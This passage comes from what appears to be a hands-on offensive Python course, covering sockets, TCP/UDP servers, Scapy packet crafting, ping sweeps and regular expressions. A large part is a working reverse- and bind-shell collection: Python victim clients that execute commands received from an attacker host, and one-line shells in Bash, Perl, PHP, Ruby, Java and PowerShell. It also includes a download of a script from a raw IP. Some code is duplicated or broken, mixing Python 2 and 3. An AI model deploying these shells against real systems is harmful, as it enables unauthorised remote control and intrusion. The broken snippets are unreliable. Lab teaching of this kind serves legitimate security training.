# Lesson 17: Python Sockets & Port Scanning #
4961
#############################################
4962
4963
---------------------------Type This-----------------------------------
4964
4965
$ sudo /sbin/iptables -F
4966
4967
$ ncat -l -v -p 1234
4968
4969
---------------------------------------------------------------------- 
4970
4971
4972
4973
--open another terminal--
4974
4975
---------------------------Type This-----------------------------------
4976
4977
$ python3
4978
4979
import socket
4980
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
4981
s.connect(('localhost', 1234))
4982
s.send('Hello World'.encode())
4983
data = s.recv(1024)
4984
s.close()
4985
4986
print ('Received', data)
4987
4988
4989
4990
----------------------------------------------------------------------
4991
4992
4993
4994
4995
########################################
4996
# Lesson 18: TCP Client and TCP Server #
4997
########################################
4998
4999
5000
---------------------------Type This-----------------------------------
5001
5002
5003
vi tcpclient.py
5004
5005
---------------------------Paste This-----------------------------------
5006
5007
5008
#!/usr/bin/env python3
5009
# tcpclient.py
5010
5011
#!/usr/bin/python
5012
# tcpclient.py
5013
5014
import socket
5015
5016
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5017
hostport = ("127.0.0.1", 1337)
5018
s.connect(hostport)
5019
s.send('Hello World'.encode())
5020
buf = s.recv(1024)
5021
print ("Received", buf)
5022
5023
5024
5025
5026
----------------------------------------------------------------------
5027
5028
5029
---------------------------Type This-----------------------------------
5030
5031
5032
5033
5034
5035
5036
vi tcpserver.py
5037
5038
5039
---------------------------Paste This-----------------------------------
5040
5041
5042
#!/usr/bin/env python3
5043
# tcpserver.py
5044
5045
import socket
5046
5047
import socket
5048
5049
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5050
hostport = ("localhost", 1337)
5051
s.bind(hostport)
5052
s.listen(10)
5053
while 1:
5054
	cli,addr = s.accept()
5055
	print ("Connection from", addr)
5056
	buf = cli.recv(1024)
5057
	print ("Received", buf)
5058
	if buf == "Hello\n":
5059
		cli.send("Server ID 1\n")
5060
	cli.close()
5061
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5062
hostport = ("", 1337)
5063
s.bind(hostport)
5064
s.listen(10)
5065
while 1:
5066
	cli,addr = s.accept()
5067
	print "Connection from", addr
5068
	buf = cli.recv(1024)
5069
	print "Received", buf
5070
	if buf == "Hello\n":
5071
		cli.send("Server ID 1\n")
5072
	cli.close()
5073
5074
5075
5076
5077
----------------------------------------------------------------------
5078
5079
5080
---------------------------Type This-----------------------------------
5081
5082
5083
$ python3 tcpserver.py
5084
5085
5086
--open another terminal--
5087
$ python3 tcpclient.py
5088
5089
5090
########################################
5091
# Lesson 19: UDP Client and UDP Server #
5092
########################################
5093
5094
---------------------------Type This-----------------------------------
5095
5096
vi udpclient.py
5097
5098
5099
5100
---------------------------Paste This-----------------------------------
5101
5102
import socket
5103
5104
msgFromClient       = "Hello UDP Server"
5105
bytesToSend         = str.encode(msgFromClient)
5106
serverAddressPort   = ("127.0.0.1", 20001)
5107
bufferSize          = 1024
5108
5109
# Create a UDP socket at client side
5110
UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
5111
# Send to server using created UDP socket
5112
UDPClientSocket.sendto(bytesToSend, serverAddressPort)
5113
msgFromServer = UDPClientSocket.recvfrom(bufferSize)
5114
msg = "Message from Server {}".format(msgFromServer[0])
5115
print(msg)
5116
5117
----------------------------------------------------------------------
5118
5119
5120
5121
5122
---------------------------Type This-----------------------------------
5123
5124
5125
vi udpserver.py
5126
5127
5128
---------------------------Paste This-----------------------------------
5129
5130
import socket
5131
5132
localIP     = "127.0.0.1"
5133
localPort   = 20001
5134
bufferSize  = 1024
5135
msgFromServer       = "Hello UDP Client"
5136
bytesToSend         = str.encode(msgFromServer)
5137
# Create a datagram socket
5138
UDPServerSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
5139
# Bind to address and ip
5140
UDPServerSocket.bind((localIP, localPort))
5141
print("UDP server up and listening")
5142
# Listen for incoming datagrams
5143
while(True):
5144
    bytesAddressPair = UDPServerSocket.recvfrom(bufferSize)
5145
    message = bytesAddressPair[0]
5146
    address = bytesAddressPair[1]
5147
    clientMsg = "Message from Client:{}".format(message)
5148
    clientIP  = "Client IP Address:{}".format(address)
5149
    print(clientMsg)
5150
    print(clientIP)
5151
5152
    # Sending a reply to client
5153
    UDPServerSocket.sendto(bytesToSend, address)
5154
5155
----------------------------------------------------------------------
5156
5157
5158
---------------------------Type This-----------------------------------
5159
5160
5161
$ python3 udpserver.py
5162
5163
5164
--open another terminal--
5165
$ python3 udpclient.py
5166
5167
5168
5169
----------------------------------------------------------------------
5170
5171
5172
######################################
5173
# Lesson 20: Bind and Reverse Shells #
5174
######################################
5175
5176
---------------------------Type This-----------------------------------
5177
5178
5179
vi simplebindshell.py
5180
5181
---------------------------Paste This-----------------------------------
5182
5183
#!/bin/env python3
5184
import os,sys,socket
5185
5186
ls = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
5187
print ('-Creating socket..')
5188
port = 31337
5189
try:
5190
	ls.bind(('', port))
5191
	print ('-Binding the port on ')
5192
	ls.listen(1)
5193
	print ('-Listening, ')
5194
	(conn, addr) = ls.accept()
5195
	print ('-Waiting for connection...')
5196
	cli= conn.fileno()
5197
	print ('-Redirecting shell...')
5198
	os.dup2(cli, 0)
5199
	print ('In, ')
5200
	os.dup2(cli, 1)
5201
	print ('Out, ')
5202
	os.dup2(cli, 2)
5203
	print ('Err')	
5204
	print ('Done!')
5205
	arg0=('/bin/sh')
5206
	arg1=('-a')
5207
	args=[arg0]+[arg1]
5208
	os.execv(arg0, args)
5209
except(socket.error):
5210
	print ('fail\n')
5211
	conn.close()
5212
	sys.exit(1)
5213
5214
5215
----------------------------------------------------------------------
5216
5217
5218
5219
---------------------------Type This-----------------------------------
5220
5221
nc TARGETIP 31337
5222
5223
----------------------------------------------------------------------
5224
5225
5226
---------------------
5227
Preparing the target for a reverse shell
5228
5229
---------------------------Type This-----------------------------------
5230
5231
$ ncat -lvp 4444
5232
5233
--open another terminal--
5234
wget https://www.trustedsec.com/files/simple_py_shell.py
5235
5236
vi simple_py_shell.py
5237
5238
5239
#!/usr/bin/env python3
5240
# imports here
5241
# Copyright 2012 TrustedSec, LLC. All rights reserved. 
5242
#
5243
# This piece of software code is licensed under the FreeBSD license..
5244
#
5245
# Visit http://www.freebsd.org/copyright/freebsd-license.html for more information. 
5246
import socket,subprocess
5247
HOST = '192.168.1.54'    # The remote host
5248
PORT = 4444            # The same port as used by the server
5249
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5250
# connect to attacker machine
5251
s.connect((HOST, PORT))
5252
# send we are connected
5253
s.send('[*] Connection Established!')
5254
# start loop
5255
while 1:
5256
     # recieve shell command
5257
     data = s.recv(1024)
5258
     # if its quit, then break out and close socket
5259
     if data == "quit": break
5260
     # do shell command
5261
     proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
5262
     # read output
5263
     stdout_value = proc.stdout.read() + proc.stderr.read()
5264
     # send output to attacker
5265
     s.send(stdout_value)
5266
# close socket
5267
s.close()
5268
5269
5270
5271
5272
-------------------------------
5273
Tricky shells
5274
5275
Reference:
5276
http://securityweekly.com/2011/10/python-one-line-shell-code.html
5277
http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-python-z/
5278
5279
5280
5281
What is os.dup2?
5282
https://stackoverflow.com/questions/45517168/what-does-os-dup2-do-in-a-python-reverse-shell-when-used-with-the-socket
5283
5284
5285
5286
5287
5288
Lots of reverse shells in different languages
5289
---------------------------------------------------------------------
5290
5291
5292
5293
Lots of reverse shells in different languages
5294
---------------------------------------------------------------------
5295
5296
5297
5298
########
5299
# Bash #
5300
########
5301
5302
---------------------------Type This-----------------------------------
5303
5304
5305
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
5306
5307
----------------------------------------------------------------------
5308
5309
5310
########
5311
# Perl #
5312
########
5313
5314
---------------------------Type This-----------------------------------
5315
5316
5317
perl -e 'use Socket;$i="127.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
5318
5319
5320
5321
cat perlbackdoor.pl
5322
#!/usr/bin/perl
5323
use Socket;
5324
use FileHandle;
5325
$IP = $ARGV[0];
5326
$PORT = $ARGV[1];
5327
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
5328
connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
5329
SOCKET->autoflush();
5330
open(STDIN, ">&SOCKET");
5331
open(STDOUT,">&SOCKET");
5332
open(STDERR,">&SOCKET");
5333
system("/bin/sh -i");
5334
5335
----------------------------------------------------------------------
5336
5337
##########
5338
# Python #
5339
##########
5340
5341
---------------------------Type This-----------------------------------
5342
5343
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
5344
5345
----------------------------------------------------------------------
5346
5347
#######
5348
# Php #
5349
#######
5350
---------------------------Type This-----------------------------------
5351
5352
php -r '$sock=fsockopen("127.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
5353
5354
----------------------------------------------------------------------
5355
5356
########
5357
# ruby #
5358
########
5359
---------------------------Type This-----------------------------------
5360
5361
ruby -rsocket -e'f=TCPSocket.open("127.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
5362
5363
----------------------------------------------------------------------
5364
5365
5366
########
5367
# Java #
5368
########
5369
---------------------------Type This-----------------------------------
5370
5371
r = Runtime.getRuntime()
5372
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
5373
p.waitFor()
5374
5375
5376
exec 5<>/dev/tcp/127.0.0.1/1234
5377
5378
5379
cat <&5 | while read line; do $line 2>&5 >&5; done
5380
5381
exec 5<>/dev/tcp/127.0.0.1/1234
5382
5383
while read line 0<&5; do $line 2>&5 >&5; done
5384
0<&196;exec 196<>/dev/tcp/127.0.0.1/1234; sh <&196 >&196 2>&196
5385
5386
----------------------------------------------------------------------
5387
5388
##############
5389
# Powershell #
5390
##############
5391
---------------------------Type This-----------------------------------
5392
5393
powershell -command "function ReverseShellClean {if ($client.Connected -eq $true) {$client.Close()};  if ($process.ExitCode -ne $null) {$process.Close()};  exit;  };$address = '127.0.0.1';  $port = '1234';$client = New-Object system.net.sockets.tcpclient; $client.connect($address,$port) ;$stream = $client.GetStream();$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize  ;$process = New-Object System.Diagnostics.Process  ;$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe'  ;$process.StartInfo.RedirectStandardInput = 1  ;$process.StartInfo.RedirectStandardOutput = 1;$process.StartInfo.UseShellExecute = 0  ;$process.Start()  ;$inputstream = $process.StandardInput  ;$outputstream = $process.StandardOutput  ;Start-Sleep 1  ;$encoding = new-object System.Text.AsciiEncoding  ;while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())};$stream.Write($encoding.GetBytes($out),0,$out.Length)  ;$out = $null; $done = $false; $testing = 0; ;while (-not $done) {if ($client.Connected -ne $true) {cleanup}  ;$pos = 0; $i = 1;  while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) { $read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos);  $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}}  ;if ($pos -gt 0){ $string = $encoding.GetString($networkbuffer,0,$pos);  $inputstream.write($string);  start-sleep 1;  if ($process.ExitCode -ne $null) {ReverseShellClean};else {  $out = $encoding.GetString($outputstream.Read()); while($outputstream.Peek() -ne -1){;  $out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}};  $stream.Write($encoding.GetBytes($out),0,$out.length);  $out = $null;  $string = $null}} else {ReverseShellClean}};"
5394
5395
5396
5397
----------------------------------------------------------------------
5398
5399
5400
5401
5402
5403
###############################
5404
# Reverse Shell in Python 3.6 #
5405
###############################
5406
5407
We'll create 2 python files. One for the server and one for the client.
5408
5409
- Below is the python code that is running on victim/client Windows machine:
5410
5411
---------------------------Paste This-----------------------------------
5412
5413
# Client
5414
5415
import socket # For Building TCP Connection
5416
import subprocess # To start the shell in the system
5417
5418
def connect():
5419
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5420
    s.connect(('192.168.1.52',8083))
5421
5422
    while True:                         #keep receiving commands
5423
        command = s.recv(1024)
5424
5425
        if 'terminate'.encode() in command:
5426
            s.close() #close the socket
5427
            break
5428
5429
        else:
5430
5431
            CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
5432
            s.send( CMD.stdout.read()  )  # send the result
5433
            s.send( CMD.stderr.read()  )  # incase you mistyped a command.
5434
            # we will send back the error
5435
5436
def main ():
5437
    connect()
5438
main()
5439
5440
5441
5442
5443
----------------------------------------------------------------------
5444
5445
- Below is the code that we should run on server unit, in our case InfosecAddicts Ubuntu machine ( Ubuntu IP: 192.168.243.150 )
5446
5447
---------------------------Paste This-----------------------------------
5448
5449
# Server
5450
5451
import socket # For Building TCP Connection
5452
5453
5454
def connect ():
5455
5456
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5457
    s.bind(("192.168.1.52", 8083))
5458
    s.listen(1)
5459
    conn, addr = s.accept()
5460
    print ('[+] We got a connection from:  '.encode(), addr)
5461
5462
5463
    while True:
5464
         command = input("Shell> ".encode())
5465
5466
         if 'terminate' in command:
5467
             conn.send('termminate')
5468
             conn.close()  # close the connection with host
5469
             break
5470
5471
         else:
5472
             conn.send(command)   #send command
5473
             print (conn.recv(1024))
5474
5475
def main ():
5476
    connect()
5477
main()
5478
5479
----------------------------------------------------------------------
5480
5481
- First run server.py code from Ubuntu machine. From command line type:
5482
5483
---------------------------Type This-----------------------------------
5484
5485
$ python3 server.py
5486
5487
5488
----------------------------------------------------------------------
5489
5490
- First run server.py code from Ubuntu machine. From command line type:
5491
5492
---------------------------Type This-----------------------------------
5493
5494
$ python3 server.py
5495
5496
----------------------------------------------------------------------
5497
5498
- then check if 8080 port is open, and if we are listening on 8080:
5499
5500
---------------------------Type This-----------------------------------
5501
5502
netstat -antp | grep "8080"
5503
5504
----------------------------------------------------------------------
5505
5506
- Then on victim ( Windows ) unit run client.py code.
5507
5508
5509
- Connection will be established, and you will get a shell on Ubuntu:
5510
5511
---------------------------Type This-----------------------------------
5512
5513
infosecaddicts@ubuntu:~$ python server.py
5514
[+] We got a connection from:   ('192.168.243.1', 56880)
5515
Shell> arp -a
5516
5517
Shell> ipconfig
5518
5519
Shell> dir
5520
----------------------------------------------------------------------
5521
5522
5523
5524
5525
it was not possible to do this in python 3
5526
5527
##########################################
5528
# HTTP based reverse shell in Python 3.6 #
5529
##########################################
5530
5531
5532
- The easiest way to install python modules and keep them up-to-date is with a Python-based package manager called Pip
5533
- Download get-pip.py from https://bootstrap.pypa.io/get-pip.py on your Windows machine
5534
5535
Then run python get-pip.py from command line. Once pip is installed you may use it to install packages.
5536
5537
- Install requests package:
5538
---------------------------Type This-----------------------------------
5539
5540
$ python3 -m pip install requests
5541
5542
----------------------------------------------------------------------
5543
5544
- Copy and paste below code into client_http.py on your Windows machine:
5545
5546
- In my case server/ubuntu IP is 192.168.243.150. You need to change IP to your server address, in both codes (client_http.py, server_HTTP.py)
5547
5548
---------------------------Paste This-----------------------------------
5549
#######import BaseHTTPServer does not work in python 3.x#####
5550
5551
# client_http
5552
5553
import requests
5554
import subprocess
5555
import time
5556
5557
5558
while True:
5559
    req = requests.get('http://192.168.243.150')
5560
    command = req.text
5561
5562
    if 'terminate' in command:
5563
        break
5564
5565
    else:
5566
        CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
5567
        post_response = requests.post(url='http://192.168.243.150', data=CMD.stdout.read() )
5568
        post_response = requests.post(url='http://192.168.243.150', data=CMD.stderr.read() )
5569
5570
    time.sleep(3)
5571
5572
----------------------------------------------------------------------
5573
5574
- Copy and paste below code into server_HTTP.py on your Ubuntu unit (server):
5575
5576
5577
---------------------------Paste This-----------------------------------
5578
###import BaseHTTPServer does not work in python 3.x####
5579
import BaseHTTPServer
5580
HOST_NAME = '192.168.243.150'
5581
PORT_NUMBER = 80
5582
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
5583
5584
    def do_GET(s):
5585
        command = raw_input("Shell> ")
5586
        s.send_response(200)
5587
        s.send_header("Content-type", "text/html")
5588
        s.end_headers()
5589
        s.wfile.write(command)
5590
5591
5592
    def do_POST(s):
5593
        s.send_response(200)
5594
        s.end_headers()
5595
        length = int(s.headers['Content-Length'])
5596
        postVar = s.rfile.read(length)
5597
        print postVar
5598
5599
if __name__ == '__main__':
5600
    server_class = BaseHTTPServer.HTTPServer
5601
    httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
5602
5603
    try:
5604
        httpd.serve_forever()                            
5605
    except KeyboardInterrupt:
5606
        print'[!] Server is terminated'
5607
        httpd.server_close()
5608
5609
----------------------------------------------------------------------
5610
5611
- run server_HTTP.py on Ubuntu with next command:
5612
5613
---------------------------Type This-----------------------------------
5614
5615
infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
5616
5617
----------------------------------------------------------------------
5618
5619
5620
- on Windows machine run client_http.py
5621
5622
- on Ubuntu you will see that connection is established:
5623
5624
---------------------------Type This-----------------------------------
5625
5626
infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
5627
Shell> dir
5628
----------------------------------------------------------------------
5629
5630
192.168.243.1 - - [25/Sep/2017 12:21:40] "GET / HTTP/1.1" 200 -
5631
192.168.243.1 - - [25/Sep/2017 12:21:40] "POST / HTTP/1.1" 200 -
5632
 Volume in drive C has no label.
5633
5634
________________________________________________________________________
5635
5636
5637
5638
5639
############################################
5640
# Multi-Threaded Reverse Shell in Python 3 #
5641
############################################
5642
5643
5644
- We'll again create 2 files, one for server and one for client/victim. This code is adjusted to work on python2.7
5645
5646
Copy and paste code from below into server.py file on Ubuntu(server) machine and run it with command python server.py:
5647
5648
5649
Server.py code:
5650
---------------------------Paste This-----------------------------------
5651
5652
5653
import socket
5654
import sys
5655
5656
# Create socket (allows two computers to connect)
5657
5658
def socket_create():
5659
    try:
5660
        global host
5661
        global port
5662
        global s
5663
        host = ''
5664
        port = 9999
5665
        s = socket.socket()
5666
    except socket.error as msg:
5667
        print("Socket creation error: " + str(msg))
5668
        
5669
# Bind socket to port and wait for connection from client
5670
def socket_bind():
5671
    try:
5672
        global host
5673
        global port
5674
        global s
5675
        print("Binding socket to port: " + str(port))
5676
        s.bind((host,port))
5677
        s.listen(5)
5678
    except socket.error as msg:
5679
        print("Socket binding error: " + str(msg) + "\n" + "Retrying...")
5680
        socket_bind()
5681
5682
# Establish a connection with client (socket must be listening for them)
5683
def socket_accept():
5684
    conn, address = s.accept()
5685
    print("Connection has been established | " + "IP " + address[0] + " | Port " + str(address[1]))
5686
    send_commands(conn)
5687
    conn.close()
5688
5689
5690
# Send commands    
5691
def send_commands(conn):
5692
    while True:
5693
        cmd = input()                          #input() is changed to raw_input() in order to work on python2.7
5694
        if cmd == 'quit':
5695
            conn.close()
5696
            s.close()
5697
            sys.exit()
5698
        if len(str.encode(cmd))>0:
5699
            conn.send(str.encode(cmd))
5700
            client_response = str(conn.recv(1024))  # had issue with encoding and I have removed utf-8 from client_response = str(conn.recv(1024),"utf-8")
5701
            print(client_response)
5702
# References for str.encode/decode
5703
# https://www.tutorialspoint.com/python/string_encode.htm
5704
# https://www.tutorialspoint.com/python/string_decode.htm
5705
5706
5707
def main():
5708
    socket_create()
5709
    socket_bind()
5710
    socket_accept()
5711
5712
main()
5713
5714
5715
5716
5717
    
5718
----------------------------------------------------------------------
5719
5720
5721
-After you have aleady run server.py on Ubuntu, you can then run client.py file from Windows(client) unit. Code is below:
5722
5723
Client.py code:
5724
5725
---------------------------Paste This-----------------------------------
5726
5727
import os
5728
import socket
5729
import subprocess
5730
5731
s = socket.socket()
5732
host = '192.168.1.54'    # change to IP address of your server
5733
port = 9999
5734
s.connect((host, port))
5735
5736
while True:
5737
    data = s.recv(1024)
5738
    if data[:2].decode("utf-8") == 'cd':
5739
        os.chdir(data[3:].decode("utf-8"))
5740
    if len(data) > 0:
5741
        cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
5742
        output_bytes = cmd.stdout.read() + cmd.stderr.read()
5743
        output_str = str(output_bytes)                         # had issue with encoding, in origin code is output_str = str(output_bytes, "utf-8")
5744
        s.send(str.encode(output_str + str(os.getcwd()) + '> '))
5745
        print(output_str)
5746
# References for str.encode/decode
5747
# https://www.tutorialspoint.com/python/string_encode.htm
5748
# https://www.tutorialspoint.com/python/string_decode.htm
5749
        
5750
# Close connection
5751
s.close()
5752
5753
5754
----------------------------------------------------------------------
5755
5756
---------------------------Type This-----------------------------------
5757
5758
$ python3 client.py
5759
----------------------------------------------------------------------
5760
5761
- Then return back to Ubuntu and you will see that connection is established and you can run commands from shell.
5762
5763
---------------------------Type This-----------------------------------
5764
5765
infosecaddicts@ubuntu:~$ python3 server.py
5766
5767
----------------------------------------------------------------------
5768
5769
Binding socket to port: 9999
5770
Connection has been established | IP 192.168.243.1 | Port 57779
5771
dir
5772
 Volume in drive C has no label.
5773
 
5774
5775
 Directory of C:\Python27
5776
5777
5778
5779
5780
###############################
5781
# Lesson 21: Installing Scapy #
5782
###############################
5783
5784
---------------------------Type This-----------------------------------
5785
5786
sudo apt-get update 
5787
sudo apt-get install python-scapy python-pyx python-gnuplot
5788
5789
----------------------------------------------------------------------
5790
5791
Reference Page For All Of The Commands We Will Be Running:
5792
http://samsclass.info/124/proj11/proj17-scapy.html
5793
5794
Great slides for Scapy:
5795
http://www.secdev.org/conf/scapy_csw05.pdf
5796
5797
5798
5799
5800
To run Scapy interactively
5801
---------------------------Type This-----------------------------------
5802
5803
	sudo scapy
5804
5805
----------------------------------------------------------------------
5806
5807
5808
################################################
5809
# Lesson 22: Sending ICMPv4 Packets with scapy #
5810
################################################
5811
5812
In the Linux machine, in the Terminal window, at the >>> prompt, type this command, and then press the Enter key:
5813
5814
---------------------------Type This-----------------------------------
5815
5816
    i = IP() 
5817
5818
----------------------------------------------------------------------
5819
5820
5821
5822
This creates an object named i of type IP. To see the properties of that object, use the display() method with this command:
5823
5824
---------------------------Type This-----------------------------------
5825
5826
    i.display() 
5827
5828
----------------------------------------------------------------------
5829
5830
5831
5832
Use these commands to set the destination IP address and display the properties of the i object again. Replace the IP address in the first command with the IP address of your target Windows machine:
5833
5834
---------------------------Type This-----------------------------------
5835
5836
    i.dst="10.65.75.49"
5837
5838
    i.display() 
5839
5840
5841
----------------------------------------------------------------------
5842
5843
5844
Notice that scapy automatically fills in your machine's source IP address.
5845
5846
Use these commands to create an object named ic of type ICMP and display its properties:
5847
5848
---------------------------Type This-----------------------------------
5849
5850
    ic = ICMP()
5851
5852
    ic.display() 
5853
5854
5855
----------------------------------------------------------------------
5856
5857
5858
5859
Use this command to send the packet onto the network and listen to a single packet in response. Note that the third character is the numeral 1, not a lowercase L:
5860
5861
---------------------------Type This-----------------------------------
5862
5863
    sr1(i/ic) 
5864
5865
----------------------------------------------------------------------
5866
5867
5868
5869
5870
This command sends and receives one packet, of type IP at layer 3 and ICMP at layer 4. As you can see in the image above, the response is shown, with ICMP type echo-reply. 
5871
5872
The Padding section shows the portion of the packet that carries higher-level data. In this case it contains only zeroes as padding.
5873
5874
Use this command to send a packet that is IP at layer 3, ICMP at layer 4, and that contains data with your name in it (replace YOUR NAME with your own name):
5875
5876
---------------------------Type This-----------------------------------
5877
5878
    sr1(i/ic/"YOUR NAME") 
5879
5880
----------------------------------------------------------------------
5881
5882
You should see a reply with a Raw section containing your name.
5883
5884
5885
5886
##############################################
5887
# Lesson 23: Sending a UDP Packet with Scapy #
5888
##############################################
5889
5890
5891
Preparing the Target
5892
5893
---------------------------Type This-----------------------------------
5894
5895
$ ncat -ulvp 4444
5896
5897
----------------------------------------------------------------------
5898
5899
5900
5901
--open another terminal--
5902
In the Linux machine, in the Terminal window, at the >>> prompt, type these commands, and then press the Enter key:
5903
5904
---------------------------Type This-----------------------------------
5905
5906
5907
    u = UDP()
5908
5909
    u.display() 
5910
5911
----------------------------------------------------------------------
5912
5913
5914
This creates an object named u of type UDP, and displays its properties.
5915
5916
Execute these commands to change the destination port to 4444 and display the properties again:
5917
5918
---------------------------Type This-----------------------------------
5919
5920
    i.dst="10.10.2.97"				<--- replace this with a host that you can run netcat on (ex: another VM or your host computer)
5921
5922
    u.dport = 4444
5923
5924
    u.display() 
5925
5926
----------------------------------------------------------------------
5927
5928
5929
Execute this command to send the packet to the Windows machine:
5930
5931
---------------------------Type This-----------------------------------
5932
5933
    send(i/u/"YOUR NAME SENT VIA UDP\n") 
5934
5935
----------------------------------------------------------------------
5936
5937
5938
On the Windows target, you should see the message appear
5939
5940
5941
5942
5943
#######################################
5944
# Lesson 24: Ping Sweeping with Scapy #
5945
#######################################
5946
5947
---------------------------Paste This-----------------------------------
5948
##############21/05/2019#####################
5949
5950
#!/usr/bin/python
5951
from scapy.all import *
5952
5953
TIMEOUT = 2
5954
conf.verb = 0
5955
for ip in range(0, 256):
5956
    packet = IP(dst="10.10.30." + str(ip), ttl=20)/ICMP()
5957
	# You will need to change 10.10.30 above this line to the subnet for your network
5958
    reply = sr1(packet, timeout=TIMEOUT)
5959
    if not (reply is None):
5960
         print reply.dst, "is online"
5961
    else:
5962
         print "Timeout waiting for %s" % packet[IP].dst
5963
5964
----------------------------------------------------------------------
5965
5966
5967
###############################################
5968
# Checking out some scapy based port scanners # 
5969
###############################################
5970
5971
---------------------------Type This-----------------------------------
5972
broken link
5973
wget http://45.63.104.73/rdp_scan.py
5974
5975
cat rdp_scan.py
5976
5977
sudo python rdp_scan.py
5978
5979
----------------------------------------------------------------------
5980
5981
######################################
5982
# Dealing with conf.verb=0 NameError #
5983
######################################
5984
5985
---------------------------Type This-----------------------------------
5986
5987
conf.verb = 0
5988
NameError: name 'conf' is not defined
5989
5990
Fixing scapy - some scripts are written for the old version of scapy so you'll have to change the following line from:
5991
5992
from scapy import *
5993
	to
5994
from scapy.all import *
5995
5996
5997
5998
5999
Reference:
6000
http://hexale.blogspot.com/2008/10/wifizoo-and-new-version-of-scapy.html
6001
6002
6003
conf.verb=0 is a verbosity setting (configuration/verbosity = conv
6004
6005
6006
6007
Here are some good Scapy references:
6008
http://www.secdev.org/projects/scapy/doc/index.html
6009
http://resources.infosecinstitute.com/port-scanning-using-scapy/
6010
http://www.hackerzvoice.net/ouah/blackmagic.txt
6011
http://www.workrobot.com/sansfire2009/SCAPY-packet-crafting-reference.html
6012
6013
6014
6015
6016
6017
6018
6019
6020
6021
#######################
6022
# Regular Expressions #
6023
#######################
6024
6025
6026
6027
**************************************************
6028
* What is Regular Expression and how is it used? *
6029
**************************************************
6030
6031
6032
Simply put, regular expression is a sequence of character(s) mainly used to find and replace patterns in a string or file. 
6033
6034
6035
Regular expressions use two types of characters:
6036
6037
a) Meta characters: As the name suggests, these characters have a special meaning, similar to * in wildcard.
6038
6039
b) Literals (like a,b,1,2…)
6040
6041
6042
In Python, we have module "re" that helps with regular expressions. So you need to import library re before you can use regular expressions in Python.
6043
6044
6045
Use this code --> import re
6046
6047
6048
6049
6050
The most common uses of regular expressions are:
6051
--------------------------------------------------
6052
6053
- Search a string (search and match)
6054
- Finding a string (findall)
6055
- Break string into a sub strings (split)
6056
- Replace part of a string (sub)
6057
6058
6059
6060
Let's look at the methods that library "re" provides to perform these tasks.
6061
6062
6063
6064
****************************************************
6065
* What are various methods of Regular Expressions? *
6066
****************************************************
6067
6068
6069
The ‘re' package provides multiple methods to perform queries on an input string. Here are the most commonly used methods, I will discuss:
6070
6071
re.match()
6072
re.search()
6073
re.findall()
6074
re.split()
6075
re.sub()
6076
re.compile()
6077
6078
Let's look at them one by one.
6079
6080
 
6081
re.match(pattern, string):
6082
-------------------------------------------------
6083
6084
This method finds match if it occurs at start of the string. For example, calling match() on the string ‘AV Analytics AV' and looking for a pattern ‘AV' will match. However, if we look for only Analytics, the pattern will not match. Let's perform it in python now.
6085
6086
Code
6087
---------------------------Type This-----------------------------------
6088
$ python3
6089
import re
6090
result = re.match(r'AV', 'AV Analytics ESET AV')
6091
print (result)
6092
----------------------------------------------------------------------
6093
6094
Output:
6095
<_sre.SRE_Match object at 0x0000000009BE4370>
6096
6097
Above, it shows that pattern match has been found. To print the matching string we'll use method group (It helps to return the matching string). Use "r" at the start of the pattern string, it designates a python raw string.
6098
6099
---------------------------Type This-----------------------------------
6100
$ python3
6101
import re
6102
result = re.match(r'AV', 'AV Analytics ESET AV')
6103
print (result.group(0))
6104
----------------------------------------------------------------------
6105
6106
Output:
6107
AV
6108
6109
6110
Let's now find ‘Analytics' in the given string. Here we see that string is not starting with ‘AV' so it should return no match. Let's see what we get:
6111
6112
6113
Code
6114
---------------------------Type This-----------------------------------
6115
$ python3
6116
import re
6117
result = re.match(r'Analytics', 'AV Analytics ESET AV')
6118
print (result) 
6119
6120
----------------------------------------------------------------------
6121
6122
6123
Output: 
6124
None
6125
6126
6127
